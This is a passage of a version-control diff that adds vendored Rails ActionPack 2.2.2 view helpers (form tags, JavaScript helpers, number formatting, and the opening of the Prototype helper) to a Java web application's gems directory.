+          options["cols"], options["rows"] = size.split("x") if size.respond_to?(:split)
+        end
+
+        content_tag :textarea, content, { "name" => name, "id" => name }.update(options.stringify_keys)
+      end
+
+      # Creates a check box form input tag.
+      #
+      # ==== Options
+      # * <tt>:disabled</tt> - If set to true, the user will not be able to use this input.
+      # * Any other key creates standard HTML options for the tag.
+      #
+      # ==== Examples
+      #   check_box_tag 'accept'
+      #   # => <input id="accept" name="accept" type="checkbox" value="1" />
+      #
+      #   check_box_tag 'rock', 'rock music'
+      #   # => <input id="rock" name="rock" type="checkbox" value="rock music" />
+      #
+      #   check_box_tag 'receive_email', 'yes', true
+      #   # => <input checked="checked" id="receive_email" name="receive_email" type="checkbox" value="yes" />
+      #
+      #   check_box_tag 'tos', 'yes', false, :class => 'accept_tos'
+      #   # => <input class="accept_tos" id="tos" name="tos" type="checkbox" value="yes" />
+      #
+      #   check_box_tag 'eula', 'accepted', false, :disabled => true
+      #   # => <input disabled="disabled" id="eula" name="eula" type="checkbox" value="accepted" />
+      def check_box_tag(name, value = "1", checked = false, options = {})
+        html_options = { "type" => "checkbox", "name" => name, "id" => sanitize_to_id(name), "value" => value }.update(options.stringify_keys)
+        html_options["checked"] = "checked" if checked
+        tag :input, html_options
+      end
+
+      # Creates a radio button; use groups of radio buttons named the same to allow users to
+      # select from a group of options.
+      #
+      # ==== Options
+      # * <tt>:disabled</tt> - If set to true, the user will not be able to use this input.
+      # * Any other key creates standard HTML options for the tag.
+      #
+      # ==== Examples
+      #   radio_button_tag 'gender', 'male'
+      #   # => <input id="gender_male" name="gender" type="radio" value="male" />
+      #
+      #   radio_button_tag 'receive_updates', 'no', true
+      #   # => <input checked="checked" id="receive_updates_no" name="receive_updates" type="radio" value="no" />
+      #
+      #   radio_button_tag 'time_slot', "3:00 p.m.", false, :disabled => true
+      #   # => <input disabled="disabled" id="time_slot_300_pm" name="time_slot" type="radio" value="3:00 p.m." />
+      #
+      #   radio_button_tag 'color', "green", true, :class => "color_input"
+      #   # => <input checked="checked" class="color_input" id="color_green" name="color" type="radio" value="green" />
+      def radio_button_tag(name, value, checked = false, options = {})
+        pretty_tag_value = value.to_s.gsub(/\s/, "_").gsub(/(?!-)\W/, "").downcase
+        pretty_name = name.to_s.gsub(/\[/, "_").gsub(/\]/, "")
+        html_options = { "type" => "radio", "name" => name, "id" => "#{pretty_name}_#{pretty_tag_value}", "value" => value }.update(options.stringify_keys)
+        html_options["checked"] = "checked" if checked
+        tag :input, html_options
+      end
+
+      # Creates a submit button with the text <tt>value</tt> as the caption.
+      #
+      # ==== Options
+      # * <tt>:confirm => 'question?'</tt> - This will add a JavaScript confirm
+      #   prompt with the question specified. If the user accepts, the form is
+      #   processed normally, otherwise no action is taken.
+      # * <tt>:disabled</tt> - If true, the user will not be able to use this input.
+      # * <tt>:disable_with</tt> - Value of this parameter will be used as the value for a disabled version
+      #   of the submit button when the form is submitted.
+      # * Any other key creates standard HTML options for the tag.
+      #
+      # ==== Examples
+      #   submit_tag
+      #   # => <input name="commit" type="submit" value="Save changes" />
+      #
+      #   submit_tag "Edit this article"
+      #   # => <input name="commit" type="submit" value="Edit this article" />
+      #
+      #   submit_tag "Save edits", :disabled => true
+      #   # => <input disabled="disabled" name="commit" type="submit" value="Save edits" />
+      #
+      #   submit_tag "Complete sale", :disable_with => "Please wait..."
+      #   # => <input name="commit" onclick="this.disabled=true;this.value='Please wait...';this.form.submit();"
+      #   #    type="submit" value="Complete sale" />
+      #
+      #   submit_tag nil, :class => "form_submit"
+      #   # => <input class="form_submit" name="commit" type="submit" />
+      #
+      #   submit_tag "Edit", :disable_with => "Editing...", :class => "edit-button"
+      #   # => <input class="edit-button" onclick="this.disabled=true;this.value='Editing...';this.form.submit();"
+      #   #    name="commit" type="submit" value="Edit" />
+      def submit_tag(value = "Save changes", options = {})
+        options.stringify_keys!
+
+        if disable_with = options.delete("disable_with")
+          disable_with = "this.value='#{disable_with}'"
+          disable_with << ";#{options.delete('onclick')}" if options['onclick']
+          
+          options["onclick"]  = "if (window.hiddenCommit) { window.hiddenCommit.setAttribute('value', this.value); }"
+          options["onclick"] << "else { hiddenCommit = this.cloneNode(false);hiddenCommit.setAttribute('type', 'hidden');this.form.appendChild(hiddenCommit); }"
+          options["onclick"] << "this.setAttribute('originalValue', this.value);this.disabled = true;#{disable_with};"
+          options["onclick"] << "result = (this.form.onsubmit ? (this.form.onsubmit() ? this.form.submit() : false) : this.form.submit());"
+          options["onclick"] << "if (result == false) { this.value = this.getAttribute('originalValue');this.disabled = false; }return result;"
+        end
+
+        if confirm = options.delete("confirm")
+          options["onclick"] ||= ''
+          options["onclick"] << "return #{confirm_javascript_function(confirm)};"
+        end
+
+        tag :input, { "type" => "submit", "name" => "commit", "value" => value }.update(options.stringify_keys)
+      end
+
+      # Displays an image which when clicked will submit the form.
+      #
+      # <tt>source</tt> is passed to AssetTagHelper#image_path
+      #
+      # ==== Options
+      # * <tt>:confirm => 'question?'</tt> - This will add a JavaScript confirm
+      #   prompt with the question specified. If the user accepts, the form is
+      #   processed normally, otherwise no action is taken.
+      # * <tt>:disabled</tt> - If set to true, the user will not be able to use this input.
+      # * Any other key creates standard HTML options for the tag.
+      #
+      # ==== Examples
+      #   image_submit_tag("login.png")
+      #   # => <input src="/images/login.png" type="image" />
+      #
+      #   image_submit_tag("purchase.png", :disabled => true)
+      #   # => <input disabled="disabled" src="/images/purchase.png" type="image" />
+      #
+      #   image_submit_tag("search.png", :class => 'search-button')
+      #   # => <input class="search-button" src="/images/search.png" type="image" />
+      #
+      #   image_submit_tag("agree.png", :disabled => true, :class => "agree-disagree-button")
+      #   # => <input class="agree-disagree-button" disabled="disabled" src="/images/agree.png" type="image" />
+      def image_submit_tag(source, options = {})
+        options.stringify_keys!
+
+        if confirm = options.delete("confirm")
+          options["onclick"] ||= ''
+          options["onclick"] += "return #{confirm_javascript_function(confirm)};"
+        end
+
+        tag :input, { "type" => "image", "src" => path_to_image(source) }.update(options.stringify_keys)
+      end
+
+      # Creates a field set for grouping HTML form elements.
+      #
+      # <tt>legend</tt> will become the fieldset's title (optional as per W3C).
+      # <tt>options</tt> accept the same values as tag.
+      #
+      # === Examples
+      #   <% field_set_tag do %>
+      #     <p><%= text_field_tag 'name' %></p>
+      #   <% end %>
+      #   # => <fieldset><p><input id="name" name="name" type="text" /></p></fieldset>
+      #
+      #   <% field_set_tag 'Your details' do %>
+      #     <p><%= text_field_tag 'name' %></p>
+      #   <% end %>
+      #   # => <fieldset><legend>Your details</legend><p><input id="name" name="name" type="text" /></p></fieldset>
+      #
+      #   <% field_set_tag nil, :class => 'format' do %>
+      #     <p><%= text_field_tag 'name' %></p>
+      #   <% end %>
+      #   # => <fieldset class="format"><p><input id="name" name="name" type="text" /></p></fieldset>
+      def field_set_tag(legend = nil, options = nil, &block)
+        content = capture(&block)
+        concat(tag(:fieldset, options, true))
+        concat(content_tag(:legend, legend)) unless legend.blank?
+        concat(content)
+        concat("</fieldset>")
+      end
+
+      private
+        def html_options_for_form(url_for_options, options, *parameters_for_url)
+          returning options.stringify_keys do |html_options|
+            html_options["enctype"] = "multipart/form-data" if html_options.delete("multipart")
+            html_options["action"]  = url_for(url_for_options, *parameters_for_url)
+          end
+        end
+
+        def extra_tags_for_form(html_options)
+          case method = html_options.delete("method").to_s
+            when /^get$/i # must be case-insentive, but can't use downcase as might be nil
+              html_options["method"] = "get"
+              ''
+            when /^post$/i, "", nil
+              html_options["method"] = "post"
+              protect_against_forgery? ? content_tag(:div, token_tag, :style => 'margin:0;padding:0') : ''
+            else
+              html_options["method"] = "post"
+              content_tag(:div, tag(:input, :type => "hidden", :name => "_method", :value => method) + token_tag, :style => 'margin:0;padding:0')
+          end
+        end
+
+        def form_tag_html(html_options)
+          extra_tags = extra_tags_for_form(html_options)
+          tag(:form, html_options, true) + extra_tags
+        end
+
+        def form_tag_in_block(html_options, &block)
+          content = capture(&block)
+          concat(form_tag_html(html_options))
+          concat(content)
+          concat("</form>")
+        end
+
+        def token_tag
+          unless protect_against_forgery?
+            ''
+          else
+            tag(:input, :type => "hidden", :name => request_forgery_protection_token.to_s, :value => form_authenticity_token)
+          end
+        end
+
+        # see http://www.w3.org/TR/html4/types.html#type-name
+        def sanitize_to_id(name)
+          name.to_s.gsub(']','').gsub(/[^-a-zA-Z0-9:.]/, "_")
+        end
+
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_view/helpers/javascript_helper.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_view/helpers/javascript_helper.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_view/helpers/javascript_helper.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,208 @@
+require 'action_view/helpers/tag_helper'
+require 'action_view/helpers/prototype_helper'
+
+module ActionView
+  module Helpers
+    # Provides functionality for working with JavaScript in your views.
+    #
+    # == Ajax, controls and visual effects
+    #
+    # * For information on using Ajax, see
+    #   ActionView::Helpers::PrototypeHelper.
+    # * For information on using controls and visual effects, see
+    #   ActionView::Helpers::ScriptaculousHelper.
+    #
+    # == Including the JavaScript libraries into your pages
+    #
+    # Rails includes the Prototype JavaScript framework and the Scriptaculous
+    # JavaScript controls and visual effects library.  If you wish to use
+    # these libraries and their helpers (ActionView::Helpers::PrototypeHelper
+    # and ActionView::Helpers::ScriptaculousHelper), you must do one of the
+    # following:
+    #
+    # * Use <tt><%= javascript_include_tag :defaults %></tt> in the HEAD
+    #   section of your page (recommended): This function will return
+    #   references to the JavaScript files created by the +rails+ command in
+    #   your <tt>public/javascripts</tt> directory. Using it is recommended as
+    #   the browser can then cache the libraries instead of fetching all the
+    #   functions anew on every request.
+    # * Use <tt><%= javascript_include_tag 'prototype' %></tt>: As above, but
+    #   will only include the Prototype core library, which means you are able
+    #   to use all basic AJAX functionality. For the Scriptaculous-based
+    #   JavaScript helpers, like visual effects, autocompletion, drag and drop
+    #   and so on, you should use the method described above.
+    #
+    # For documentation on +javascript_include_tag+ see
+    # ActionView::Helpers::AssetTagHelper.
+    module JavaScriptHelper
+      unless const_defined? :JAVASCRIPT_PATH
+        JAVASCRIPT_PATH = File.join(File.dirname(__FILE__), 'javascripts')
+      end
+
+      include PrototypeHelper
+
+      # Returns a link of the given +name+ that will trigger a JavaScript +function+ using the
+      # onclick handler and return false after the fact.
+      #
+      # The first argument +name+ is used as the link text.
+      #
+      # The next arguments are optional and may include the javascript function definition and a hash of html_options.
+      #
+      # The +function+ argument can be omitted in favor of an +update_page+
+      # block, which evaluates to a string when the template is rendered
+      # (instead of making an Ajax request first).
+      #
+      # The +html_options+ will accept a hash of html attributes for the link tag. Some examples are :class => "nav_button", :id => "articles_nav_button"
+      #
+      # Note: if you choose to specify the javascript function in a block, but would like to pass html_options, set the +function+ parameter to nil
+      #
+      #
+      # Examples:
+      #   link_to_function "Greeting", "alert('Hello world!')"
+      #     Produces:
+      #       <a onclick="alert('Hello world!'); return false;" href="#">Greeting</a>
+      #
+      #   link_to_function(image_tag("delete"), "if (confirm('Really?')) do_delete()")
+      #     Produces:
+      #       <a onclick="if (confirm('Really?')) do_delete(); return false;" href="#">
+      #         <img src="/images/delete.png?" alt="Delete"/>
+      #       </a>
+      #
+      #   link_to_function("Show me more", nil, :id => "more_link") do |page|
+      #     page[:details].visual_effect  :toggle_blind
+      #     page[:more_link].replace_html "Show me less"
+      #   end
+      #     Produces:
+      #       <a href="#" id="more_link" onclick="try {
+      #         $(&quot;details&quot;).visualEffect(&quot;toggle_blind&quot;);
+      #         $(&quot;more_link&quot;).update(&quot;Show me less&quot;);
+      #       }
+      #       catch (e) {
+      #         alert('RJS error:\n\n' + e.toString());
+      #         alert('$(\&quot;details\&quot;).visualEffect(\&quot;toggle_blind\&quot;);
+      #         \n$(\&quot;more_link\&quot;).update(\&quot;Show me less\&quot;);');
+      #         throw e
+      #       };
+      #       return false;">Show me more</a>
+      #
+      def link_to_function(name, *args, &block)
+        html_options = args.extract_options!.symbolize_keys
+
+        function = block_given? ? update_page(&block) : args[0] || ''
+        onclick = "#{"#{html_options[:onclick]}; " if html_options[:onclick]}#{function}; return false;"
+        href = html_options[:href] || '#'
+
+        content_tag(:a, name, html_options.merge(:href => href, :onclick => onclick))
+      end
+
+      # Returns a button with the given +name+ text that'll trigger a JavaScript +function+ using the
+      # onclick handler.
+      #
+      # The first argument +name+ is used as the button's value or display text.
+      #
+      # The next arguments are optional and may include the javascript function definition and a hash of html_options.
+      #
+      # The +function+ argument can be omitted in favor of an +update_page+
+      # block, which evaluates to a string when the template is rendered
+      # (instead of making an Ajax request first).
+      #
+      # The +html_options+ will accept a hash of html attributes for the link tag. Some examples are :class => "nav_button", :id => "articles_nav_button"
+      #
+      # Note: if you choose to specify the javascript function in a block, but would like to pass html_options, set the +function+ parameter to nil
+      #
+      # Examples:
+      #   button_to_function "Greeting", "alert('Hello world!')"
+      #   button_to_function "Delete", "if (confirm('Really?')) do_delete()"
+      #   button_to_function "Details" do |page|
+      #     page[:details].visual_effect :toggle_slide
+      #   end
+      #   button_to_function "Details", :class => "details_button" do |page|
+      #     page[:details].visual_effect :toggle_slide
+      #   end
+      def button_to_function(name, *args, &block)
+        html_options = args.extract_options!.symbolize_keys
+
+        function = block_given? ? update_page(&block) : args[0] || ''
+        onclick = "#{"#{html_options[:onclick]}; " if html_options[:onclick]}#{function};"
+
+        tag(:input, html_options.merge(:type => 'button', :value => name, :onclick => onclick))
+      end
+
+      JS_ESCAPE_MAP = {
+        '\\'    => '\\\\',
+        '</'    => '<\/',
+        "\r\n"  => '\n',
+        "\n"    => '\n',
+        "\r"    => '\n',
+        '"'     => '\\"',
+        "'"     => "\\'" }
+
+      # Escape carrier returns and single and double quotes for JavaScript segments.
+      def escape_javascript(javascript)
+        if javascript
+          javascript.gsub(/(\\|<\/|\r\n|[\n\r"'])/) { JS_ESCAPE_MAP[$1] }
+        else
+          ''
+        end
+      end
+
+      # Returns a JavaScript tag with the +content+ inside. Example:
+      #   javascript_tag "alert('All is good')"
+      #
+      # Returns:
+      #   <script type="text/javascript">
+      #   //<![CDATA[
+      #   alert('All is good')
+      #   //]]>
+      #   </script>
+      #
+      # +html_options+ may be a hash of attributes for the <script> tag. Example:
+      #   javascript_tag "alert('All is good')", :defer => 'defer'
+      #   # => <script defer="defer" type="text/javascript">alert('All is good')</script>
+      #
+      # Instead of passing the content as an argument, you can also use a block
+      # in which case, you pass your +html_options+ as the first parameter.
+      #   <% javascript_tag :defer => 'defer' do -%>
+      #     alert('All is good')
+      #   <% end -%>
+      def javascript_tag(content_or_options_with_block = nil, html_options = {}, &block)
+        content =
+          if block_given?
+            html_options = content_or_options_with_block if content_or_options_with_block.is_a?(Hash)
+            capture(&block)
+          else
+            content_or_options_with_block
+          end
+
+        tag = content_tag(:script, javascript_cdata_section(content), html_options.merge(:type => Mime::JS))
+
+        if block_called_from_erb?(block)
+          concat(tag)
+        else
+          tag
+        end
+      end
+
+      def javascript_cdata_section(content) #:nodoc:
+        "\n//#{cdata_section("\n#{content}\n//")}\n"
+      end
+
+    protected
+      def options_for_javascript(options)
+        if options.empty?
+          '{}'
+        else
+          "{#{options.keys.map { |k| "#{k}:#{options[k]}" }.sort.join(', ')}}"
+        end
+      end
+
+      def array_or_string_for_javascript(option)
+        if option.kind_of?(Array)
+          "['#{option.join('\',\'')}']"
+        elsif !option.nil?
+          "'#{option}'"
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_view/helpers/number_helper.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_view/helpers/number_helper.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_view/helpers/number_helper.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,291 @@
+module ActionView
+  module Helpers #:nodoc:
+    # Provides methods for converting numbers into formatted strings.
+    # Methods are provided for phone numbers, currency, percentage,
+    # precision, positional notation, and file size.
+    module NumberHelper
+      # Formats a +number+ into a US phone number (e.g., (555) 123-9876). You can customize the format
+      # in the +options+ hash.
+      #
+      # ==== Options
+      # * <tt>:area_code</tt>  - Adds parentheses around the area code.
+      # * <tt>:delimiter</tt>  - Specifies the delimiter to use (defaults to "-").
+      # * <tt>:extension</tt>  - Specifies an extension to add to the end of the
+      #   generated number.
+      # * <tt>:country_code</tt>  - Sets the country code for the phone number.
+      #
+      # ==== Examples
+      #  number_to_phone(1235551234)                                        # => 123-555-1234
+      #  number_to_phone(1235551234, :area_code => true)                    # => (123) 555-1234
+      #  number_to_phone(1235551234, :delimiter => " ")                     # => 123 555 1234
+      #  number_to_phone(1235551234, :area_code => true, :extension => 555) # => (123) 555-1234 x 555
+      #  number_to_phone(1235551234, :country_code => 1)                    # => +1-123-555-1234
+      #
+      #  number_to_phone(1235551234, :country_code => 1, :extension => 1343, :delimiter => ".")
+      #  => +1.123.555.1234 x 1343
+      def number_to_phone(number, options = {})
+        number       = number.to_s.strip unless number.nil?
+        options      = options.symbolize_keys
+        area_code    = options[:area_code] || nil
+        delimiter    = options[:delimiter] || "-"
+        extension    = options[:extension].to_s.strip || nil
+        country_code = options[:country_code] || nil
+
+        begin
+          str = ""
+          str << "+#{country_code}#{delimiter}" unless country_code.blank?
+          str << if area_code
+            number.gsub!(/([0-9]{1,3})([0-9]{3})([0-9]{4}$)/,"(\\1) \\2#{delimiter}\\3")
+          else
+            number.gsub!(/([0-9]{1,3})([0-9]{3})([0-9]{4})$/,"\\1#{delimiter}\\2#{delimiter}\\3")
+          end
+          str << " x #{extension}" unless extension.blank?
+          str
+        rescue
+          number
+        end
+      end
+
+      # Formats a +number+ into a currency string (e.g., $13.65). You can customize the format
+      # in the +options+ hash.
+      #
+      # ==== Options
+      # * <tt>:precision</tt>  -  Sets the level of precision (defaults to 2).
+      # * <tt>:unit</tt>       - Sets the denomination of the currency (defaults to "$").
+      # * <tt>:separator</tt>  - Sets the separator between the units (defaults to ".").
+      # * <tt>:delimiter</tt>  - Sets the thousands delimiter (defaults to ",").
+      # * <tt>:format</tt>     - Sets the format of the output string (defaults to "%u%n"). The field types are:
+      #
+      #     %u  The currency unit
+      #     %n  The number
+      #
+      # ==== Examples
+      #  number_to_currency(1234567890.50)                    # => $1,234,567,890.50
+      #  number_to_currency(1234567890.506)                   # => $1,234,567,890.51
+      #  number_to_currency(1234567890.506, :precision => 3)  # => $1,234,567,890.506
+      #
+      #  number_to_currency(1234567890.50, :unit => "&pound;", :separator => ",", :delimiter => "")
+      #  # => &pound;1234567890,50
+      #  number_to_currency(1234567890.50, :unit => "&pound;", :separator => ",", :delimiter => "", :format => "%n %u")
+      #  # => 1234567890,50 &pound;
+      def number_to_currency(number, options = {})
+        options.symbolize_keys!
+
+        defaults  = I18n.translate(:'number.format', :locale => options[:locale], :raise => true) rescue {}
+        currency  = I18n.translate(:'number.currency.format', :locale => options[:locale], :raise => true) rescue {}
+        defaults  = defaults.merge(currency)
+
+        precision = options[:precision] || defaults[:precision]
+        unit      = options[:unit]      || defaults[:unit]
+        separator = options[:separator] || defaults[:separator]
+        delimiter = options[:delimiter] || defaults[:delimiter]
+        format    = options[:format]    || defaults[:format]
+        separator = '' if precision == 0
+
+        begin
+          format.gsub(/%n/, number_with_precision(number,
+            :precision => precision,
+            :delimiter => delimiter,
+            :separator => separator)
+          ).gsub(/%u/, unit)
+        rescue
+          number
+        end
+      end
+
+      # Formats a +number+ as a percentage string (e.g., 65%). You can customize the
+      # format in the +options+ hash.
+      #
+      # ==== Options
+      # * <tt>:precision</tt>  - Sets the level of precision (defaults to 3).
+      # * <tt>:separator</tt>  - Sets the separator between the units (defaults to ".").
+      # * <tt>:delimiter</tt>  - Sets the thousands delimiter (defaults to "").
+      #
+      # ==== Examples
+      #  number_to_percentage(100)                                        # => 100.000%
+      #  number_to_percentage(100, :precision => 0)                       # => 100%
+      #  number_to_percentage(1000, :delimiter => '.', :separator => ',') # => 1.000,000%
+      #  number_to_percentage(302.24398923423, :precision => 5)           # => 302.24399%
+      def number_to_percentage(number, options = {})
+        options.symbolize_keys!
+
+        defaults   = I18n.translate(:'number.format', :locale => options[:locale], :raise => true) rescue {}
+        percentage = I18n.translate(:'number.percentage.format', :locale => options[:locale], :raise => true) rescue {}
+        defaults  = defaults.merge(percentage)
+
+        precision = options[:precision] || defaults[:precision]
+        separator = options[:separator] || defaults[:separator]
+        delimiter = options[:delimiter] || defaults[:delimiter]
+
+        begin
+          number_with_precision(number,
+            :precision => precision,
+            :separator => separator,
+            :delimiter => delimiter) + "%"
+        rescue
+          number
+        end
+      end
+
+      # Formats a +number+ with grouped thousands using +delimiter+ (e.g., 12,324). You can
+      # customize the format in the +options+ hash.
+      #
+      # ==== Options
+      # * <tt>:delimiter</tt>  - Sets the thousands delimiter (defaults to ",").
+      # * <tt>:separator</tt>  - Sets the separator between the units (defaults to ".").
+      #
+      # ==== Examples
+      #  number_with_delimiter(12345678)                        # => 12,345,678
+      #  number_with_delimiter(12345678.05)                     # => 12,345,678.05
+      #  number_with_delimiter(12345678, :delimiter => ".")     # => 12.345.678
+      #  number_with_delimiter(12345678, :seperator => ",")     # => 12,345,678
+      #  number_with_delimiter(98765432.98, :delimiter => " ", :separator => ",")
+      #  # => 98 765 432,98
+      #
+      # You can still use <tt>number_with_delimiter</tt> with the old API that accepts the
+      # +delimiter+ as its optional second and the +separator+ as its
+      # optional third parameter:
+      #  number_with_delimiter(12345678, " ")                     # => 12 345.678
+      #  number_with_delimiter(12345678.05, ".", ",")             # => 12.345.678,05
+      def number_with_delimiter(number, *args)
+        options = args.extract_options!
+        options.symbolize_keys!
+
+        defaults = I18n.translate(:'number.format', :locale => options[:locale], :raise => true) rescue {}
+
+        unless args.empty?
+          ActiveSupport::Deprecation.warn('number_with_delimiter takes an option hash ' +
+            'instead of separate delimiter and precision arguments.', caller)
+          delimiter = args[0] || defaults[:delimiter]
+          separator = args[1] || defaults[:separator]
+        end
+
+        delimiter ||= (options[:delimiter] || defaults[:delimiter])
+        separator ||= (options[:separator] || defaults[:separator])
+
+        begin
+          parts = number.to_s.split('.')
+          parts[0].gsub!(/(\d)(?=(\d\d\d)+(?!\d))/, "\\1#{delimiter}")
+          parts.join(separator)
+        rescue
+          number
+        end
+      end
+
+      # Formats a +number+ with the specified level of <tt>:precision</tt> (e.g., 112.32 has a precision of 2).
+      # You can customize the format in the +options+ hash.
+      #
+      # ==== Options
+      # * <tt>:precision</tt>  - Sets the level of precision (defaults to 3).
+      # * <tt>:separator</tt>  - Sets the separator between the units (defaults to ".").
+      # * <tt>:delimiter</tt>  - Sets the thousands delimiter (defaults to "").
+      #
+      # ==== Examples
+      #  number_with_precision(111.2345)                    # => 111.235
+      #  number_with_precision(111.2345, :precision => 2)   # => 111.23
+      #  number_with_precision(13, :precision => 5)         # => 13.00000
+      #  number_with_precision(389.32314, :precision => 0)  # => 389
+      #  number_with_precision(1111.2345, :precision => 2, :separator => ',', :delimiter => '.')
+      #  # => 1.111,23
+      #
+      # You can still use <tt>number_with_precision</tt> with the old API that accepts the
+      # +precision+ as its optional second parameter:
+      #   number_with_precision(number_with_precision(111.2345, 2)   # => 111.23
+      def number_with_precision(number, *args)
+        options = args.extract_options!
+        options.symbolize_keys!
+
+        defaults           = I18n.translate(:'number.format', :locale => options[:locale], :raise => true) rescue {}
+        precision_defaults = I18n.translate(:'number.precision.format', :locale => options[:locale],
+                                                                        :raise => true) rescue {}
+        defaults           = defaults.merge(precision_defaults)
+
+        unless args.empty?
+          ActiveSupport::Deprecation.warn('number_with_precision takes an option hash ' +
+            'instead of a separate precision argument.', caller)
+          precision = args[0] || defaults[:precision]
+        end
+
+        precision ||= (options[:precision] || defaults[:precision])
+        separator ||= (options[:separator] || defaults[:separator])
+        delimiter ||= (options[:delimiter] || defaults[:delimiter])
+
+        begin
+          rounded_number = (Float(number) * (10 ** precision)).round.to_f / 10 ** precision
+          number_with_delimiter("%01.#{precision}f" % rounded_number,
+            :separator => separator,
+            :delimiter => delimiter)
+        rescue
+          number
+        end
+      end
+
+      STORAGE_UNITS = %w( Bytes KB MB GB TB ).freeze
+
+      # Formats the bytes in +size+ into a more understandable representation
+      # (e.g., giving it 1500 yields 1.5 KB). This method is useful for
+      # reporting file sizes to users. This method returns nil if
+      # +size+ cannot be converted into a number. You can customize the
+      # format in the +options+ hash.
+      #
+      # ==== Options
+      # * <tt>:precision</tt>  - Sets the level of precision (defaults to 1).
+      # * <tt>:separator</tt>  - Sets the separator between the units (defaults to ".").
+      # * <tt>:delimiter</tt>  - Sets the thousands delimiter (defaults to "").
+      #
+      # ==== Examples
+      #  number_to_human_size(123)                                          # => 123 Bytes
+      #  number_to_human_size(1234)                                         # => 1.2 KB
+      #  number_to_human_size(12345)                                        # => 12.1 KB
+      #  number_to_human_size(1234567)                                      # => 1.2 MB
+      #  number_to_human_size(1234567890)                                   # => 1.1 GB
+      #  number_to_human_size(1234567890123)                                # => 1.1 TB
+      #  number_to_human_size(1234567, :precision => 2)                     # => 1.18 MB
+      #  number_to_human_size(483989, :precision => 0)                      # => 473 KB
+      #  number_to_human_size(1234567, :precision => 2, :separator => ',')  # => 1,18 MB
+      #
+      # You can still use <tt>number_to_human_size</tt> with the old API that accepts the
+      # +precision+ as its optional second parameter:
+      #  number_to_human_size(1234567, 2)    # => 1.18 MB
+      #  number_to_human_size(483989, 0)     # => 473 KB
+      def number_to_human_size(number, *args)
+        return number.nil? ? nil : pluralize(number.to_i, "Byte") if number.to_i < 1024
+
+        options = args.extract_options!
+        options.symbolize_keys!
+
+        defaults = I18n.translate(:'number.format', :locale => options[:locale], :raise => true) rescue {}
+        human    = I18n.translate(:'number.human.format', :locale => options[:locale], :raise => true) rescue {}
+        defaults = defaults.merge(human)
+
+        unless args.empty?
+          ActiveSupport::Deprecation.warn('number_to_human_size takes an option hash ' +
+            'instead of a separate precision argument.', caller)
+          precision = args[0] || defaults[:precision]
+        end
+
+        precision ||= (options[:precision] || defaults[:precision])
+        separator ||= (options[:separator] || defaults[:separator])
+        delimiter ||= (options[:delimiter] || defaults[:delimiter])
+
+        max_exp  = STORAGE_UNITS.size - 1
+        number   = Float(number)
+        exponent = (Math.log(number) / Math.log(1024)).to_i # Convert to base 1024
+        exponent = max_exp if exponent > max_exp # we need this to avoid overflow for the highest unit
+        number  /= 1024 ** exponent
+        unit     = STORAGE_UNITS[exponent]
+
+        begin
+          escaped_separator = Regexp.escape(separator)
+          number_with_precision(number,
+            :precision => precision,
+            :separator => separator,
+            :delimiter => delimiter
+          ).sub(/(\d)(#{escaped_separator}[1-9]*)?0+\z/, '\1\2').sub(/#{escaped_separator}\z/, '') + " #{unit}"
+        rescue
+          number
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_view/helpers/prototype_helper.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_view/helpers/prototype_helper.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_view/helpers/prototype_helper.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,1315 @@
+require 'set'
+
+module ActionView
+  module Helpers
+    # Prototype[http://www.prototypejs.org/] is a JavaScript library that provides
+    # DOM[http://en.wikipedia.org/wiki/Document_Object_Model] manipulation,
+    # Ajax[http://www.adaptivepath.com/publications/essays/archives/000385.php]
+    # functionality, and more traditional object-oriented facilities for JavaScript.
+    # This module provides a set of helpers to make it more convenient to call
+    # functions from Prototype using Rails, including functionality to call remote
+    # Rails methods (that is, making a background request to a Rails action) using Ajax.
+    # This means that you can call actions in your controllers without
+    # reloading the page, but still update certain parts of it using
+    # injections into the DOM. A common use case is having a form that adds
+    # a new element to a list without reloading the page or updating a shopping
+    # cart total when a new item is added.
+    #
+    # == Usage
+    # To be able to use these helpers, you must first include the Prototype
+    # JavaScript framework in your pages.
+    #
+    #  javascript_include_tag 'prototype'
+    #
+    # (See the documentation for
+    # ActionView::Helpers::JavaScriptHelper for more information on including
+    # this and other JavaScript files in your Rails templates.)
+    #
+    # Now you're ready to call a remote action either through a link...
+    #
+    #  link_to_remote "Add to cart",
+    #    :url => { :action => "add", :id => product.id },
+    #    :update => { :success => "cart", :failure => "error" }
+    #
+    # ...through a form...
+    #
+    #  <% form_remote_tag :url => '/shipping' do -%>
+    #    <div><%= submit_tag 'Recalculate Shipping' %></div>
+    #  <% end -%>
+    #
+    # ...periodically...
+    #
+    #  periodically_call_remote(:url => 'update', :frequency => '5', :update => 'ticker')
+    #
+    # ...or through an observer (i.e., a form or field that is observed and calls a remote
+    # action when changed).
+    #
+    #  <%= observe_field(:searchbox,
+    #       :url => { :action => :live_search }),
+    #       :frequency => 0.5,
+    #       :update => :hits,
+    #       :with => 'query'
+    #       %>
+    #
+    # As you can see, there are numerous ways to use Prototype's Ajax functions (and actually more than
+    # are listed here); check out the documentation for each method to find out more about its usage and options.
+    #
+    # === Common Options
+    # See link_to_remote for documentation of options common to all Ajax
+    # helpers; any of the options specified by link_to_remote can be used
+    # by the other helpers.
+    #
+    # == Designing your Rails actions for Ajax
+    # When building your action handlers (that is, the Rails actions that receive your background requests), it's
+    # important to remember a few things.  First, whatever your action would normally return to the browser, it will
+    # return to the Ajax call.  As such, you typically don't want to render with a layout.  This call will cause
